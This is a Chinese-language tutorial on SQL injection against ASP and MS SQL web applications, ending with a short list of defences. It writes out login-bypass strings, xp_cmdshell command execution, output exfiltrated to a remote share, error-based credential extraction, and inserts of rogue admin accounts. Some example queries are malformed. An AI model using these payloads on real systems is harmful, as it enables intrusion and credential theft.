数据库注入详解
1.0
介绍
当一台机器只打开了
80
端口
,
你最依赖的漏洞扫描器也不能返回任何有用的内容
,
并且你知道管理员经常为机器打补丁
,
我们就不得不使用
web
攻击方式了
. SQL
注入是
web
攻击的一种类型
,
这种方式只需要开放
80
端口就够了并且即使管理员打了全部的补丁也能工作
.
它攻击的目标是
web
程序
(
像
ASP,JSP,PHP,CGI
等
)
本身而不是
web
服务器或系统上运行的服务
.
本文不介绍任何新的东西
, SQL
注入已经被广泛的讨论和使用
.
我们写这篇文章目的是因为我们想要使用
SQL
注入进行一些演练测试
,
希望这个能对各位有用
.
你可以在这里找到一两个窍门但是请你关注下
“9.0
哪里有更多的信息
?”
可以得到关于
SQL
注入更多,更深入的技术
.
1.1
什么是
SQL
注入
?
通过网页的输入项来注入
SQL
查询或命令是一种技巧。许多网页会从用户那里获取参数,并构建
SQL
查询来访问数据库。以用户登录为例,页面收集用户名和密码然后构建
SQL
去查询数据库,来校验用户名和密码的有效性。通过
SQL
注入,我们可以发送经过精心编造的用户名和
/
或密码字段,来改变
SQL
查询语句并赋予我们其它一些权限。
1.2
你需要什么
?
任意
web
浏览器。
2.0
你应该寻找什么
?
尝试寻找那些允许你提交数据的页面,即
:
登录页面,查询页面,反馈信息等等。有时,
HTML
页面会用
POST
命令来把参数发送到另外一个
ASP
页面上去。那么,你可能在
URL
中看不到参数。不过,你可以查看页面的
HTML
源代码,查找
“FORM”
标签。你会在一些
HTML
源代码中看到类似下面的东东
:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
位于
<FORM>
和
</FORM>
之间的所有内容都可能暗含着有用的参数
(
利用你的智慧
)
。
2.1
如果你找不到任何带有输入框的页面怎么办
?
你应该寻找诸如
ASP, JSP, CGI,
或
PHP
这样的页面。尤其要找那些携带有参数的
URL
,比如
: http://test/index.asp?id=1
3.0
如何测试它是否是易受攻击的
?
从一个单引号技巧开始。输入类似这样的内容
:
admin’ or 1=1–
到登录页面中,或者密码中,甚至直接在
URL
中。例如
:
– Login: admin’ or 1=1–
– Pass: admin’ or 1=1–
– http://duck/index.asp?id=admin’ or 1=1–
假如你必须在一个
hidden
字段中来这样做,就把
HTML
源代码下载下来,保存到硬盘上,修改
URL
和相应的
hidden
字段。例如
:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value=”hi’ or 1=1–“>
</FORM>
如果够幸运,不需要任何用户名和密码你就可以登录。
3.1
为什么是
‘ or 1=1–?
让我们通过另外一个例子来展示
‘ or 1=1–
的重要性。除了能绕过
“
登录
”
验证,它还能展示一些在正常情况下很难看到的额外信息。假设,有一个
ASP
页面,其功能是将我们导航到下面的
URL
:
http://duck/index.asp?category=food
在
URL
中,
‘category’
是变量名;
food
是赋给变量的值。为了完成导航功能,我们猜想
ASP
页面应该包含下面的代码(这些代码是我们为了完成此测试而编写的真实代码):
v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”
set rs=conn.execute(sqlstr)
如上所示,变量
v_cat
获取了参数
category
的值,
SQL
语句将变成:
SELECT * FROM product WHERE PCategory=’food’
该
SQL
语句将返回符合
where
条件的的结果集。在本例中,
where
条件是
PCategory=’food’
。
下面,假设我们将
URL
改成下面的形式:
http://duck/index.asp?category=food’ or 1=1–
现在,变量
v_cat
等于
“food’ or 1=1– ”
。将变量
v_cat
在
SQL
中进行替换,我们将得到下面语句:
SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘
该语句将得到
product
表中所有记录,无论
PCategory
是否等于
‘food’
。
“–”
告诉
MS SQL server
忽略其后面的所有内容(笔者注:其实可以理解为注释,
“–”
后面所有的内容都为注释),方便我们处理单引号。在某些情况下,
“–”
可以被替换成
”#“
。
如果后台的数据库不是
SQL Server
,查询语句的单引号就不能被忽略。在这种情况下,我们可以尝试下面的查询条件:
‘ or ‘a’=’a
此时,
SQL
语句将变成:
SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’
根据真实的
SQL
语句,我们还可以尝试以下各种变形:
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’=’a
” or “a”=”a
‘) or (‘a’=’a
4.0
我如何通过
SQL
注入来进行远程执行
?
能够注入
SQL
命名通常意味着我们可以随意执行任何
SQL
查询。默认安装的
MS SQL
服务是作为
SYSTEM
来运行的,
它相当于
Windows
系统中的
Administrator
。我们可以利用存储过程,比如
master..xp_cmdshell
来进行远程执行
:
‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–
如果单引号
(‘)
不管用,可以试试双引号
(“)
。
分号会终止当前的
SQL
查询,这就允许你开始一个新的
SQL
命名。要验证命令是否执行成功,你需要监听来自
10.10.1.2
的
ICMP
数据包,检查是否收到来自服务器的数据包
:
#tcpdump icmp
如果你没有收到任何来自服务器的
ping
请求,并且收到了暗示许可错误的信息,则有可能是管理员限制了
Web
用户对存储过程的访问。
5.0
如何获取
SQL
查询的输出
?
可以通过使用
sp_makewebtask
把你的查询写入到
HTML:
‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”
注意这个目标
IP
的文件夹
“share”
的共享权限是
Everyone.
6.0
如何从数据库的
ODBC
错误消息中获取数据
?
我们几乎可以在
MS SQL
服务器产生的错误消息中得到任何我们想要的数据
.
通过类似下面的这个地址
:
http://duck/index.asp?id=10
我们将试图把这个整数
’10’
和另外的字符串进行
UNION
联合操作
:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
系统表
INFORMATION_SCHEMA.TABLES
包含了服务器上所有表的信息
.
这个
TABLE_NAME
字段包含数据库中每个表的字段
.
这样就不存在无此表无此字段的问题了
.
看我们的查询语句
:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
这个语句将会返回数据库中第一个表的名字
.
当我们使用这个字符串值和一个数字
’10’
进行
UNION
操作
, MS SQL
服务器将会试图转换这个字符串
(nvarchar)
为一个数字
.
这会产生一个错误
,
因为我们不能把
nvarchar
类型转换成数字
.
服务器将会产生以下错误信息
:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5
这个错误消息清楚的告诉我们这个值不能转换为数字
.
同时呢
,
里面也包含了数据库中第一个表的名字
,
就是
“table1”.
想获取下一个表的名字
,
我们使用下面的语句
:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–
我们也可以使用
LIKE
关键词来搜索数据
:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–
输出
:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5
这个匹配
, ‘%25login%25’
的结果和
%login%
是一样的在
SQL Server
服务器中
.
这样
,
我们将得到
匹配的第一个表的名字
, “admin_login”.
6.1
如何挖掘到表所有列的名称
?
我们可以使用另一个非常有用的表
INFORMATION_SCHEMA.COLUMNS
来标出某一个的表所有列名
:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–
输出
:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
/index.asp, line 5
注意错误提示
,
里面已经包含了第一个列名
,
下面我们使用
NOT IN ()
来取得下一个列的名称
:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–
输出
:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
/index.asp, line 5
按上面的步骤继续下一个
,
我们就能获得剩下的所有列的名称
,
即
“password”, “details”
等列
.
当我们得到下面的这个错误提示时
,
就表示我们已经找出所有的列名了
.
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–
输出
:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2
如何检索到我们想要的数据
?
现在我们已经确认了一些重要的表,以及它们的列名
,
我们可以用同样的技巧从数据库中挖掘任何我们想要的信息
.
现在
,
让我们从这个
“admin_login”
表中得到第一个
login_name
的值吧
:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–
输出
:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
/index.asp, line 5
根据上面的错误提示我们知道这里有一个管理员的登录名是
“neo”.
下面
,
我们从数据库中到
“neo”
的密码
:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–
Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
/index.asp, line 5
密码就在错误提示里了
,
现在让我们用
“neo”
和密码
“m4trix”
登录试试吧
.
6.3
如何获取数字型字符串的值?
上面所述的技术具有局限性。在我们试图转换包含有效数字(即只是
0-9
之间的字符)的时候,我们没有得到任何错误信息。让我们试着获取
“trinity”
的密码
“31173”:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’
我们可能得到
”
此页面不存在
“
的错误。原因在于:在于整数(这时是
10
)联接之前,密码
“31173”
将转换为一个数字。由于这是一个有效地联接(
UNION
)语句,因此
SQL Server
不会抛出
ODBC
错误信息,因此我们将不能获取到任何数字型的项。
为了解决这个问题,我们给数字型字符串后面提交一些字母,这样可以确保转换失效。让我们看看下面这个查询:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’
我们只是给我们需要的密码文本后添加了加号(
+
)。(
“+”
的
ASCII
编码是
0x2b
)。我们将给真正的密码后添加
“
(空格)休眠符
“
。因此,即使我们有一个字符型字符串
”31173“
,它最终将变为
”31173
休眠符
“
。通过手工调用
convert()
函数试图把
“31173
休眠符
“
转换为整数时,
SQL Server
抛出
ODBC
错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
/index.asp, line 5
现在,你就可以使用密码为
“31173”
的
“trinity”
用户登陆了。
7.0
如何向数据库中更新或插入数据
?
当我们成功的获取到一张表的所有字段名后,我们就有可能
UPDATE
甚至
INSERT
一条新记录到该表中。例如,修改
“neo”
的密码
:
http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–
下面
INSERT
一条新记录到数据库中
:
http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–
现在我们可以用用户名
“neo2”
和密码
“newpas5”
来登录了
8.0
如何避免
SQL
注入?
过滤参数中的单引号、双引号、斜杠、反斜杠、分号等字符;以及
NULL
、回车符、换行符等扩展字符。这些参数可能来自于:
-
前台表单(
form
)中的用户输入
-
URL
中的参数
-
cookie
对于数字,在将其传入
SQL
语句之前将其从字符串
(String)
转换成数字
(Number)
;或者用
ISNUMERIC
函数确定其确实是数字。
将
SQL Server
的运行用户修改为低权限用户(
low privilege user)
。
删除不再需要的存储过程,例如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask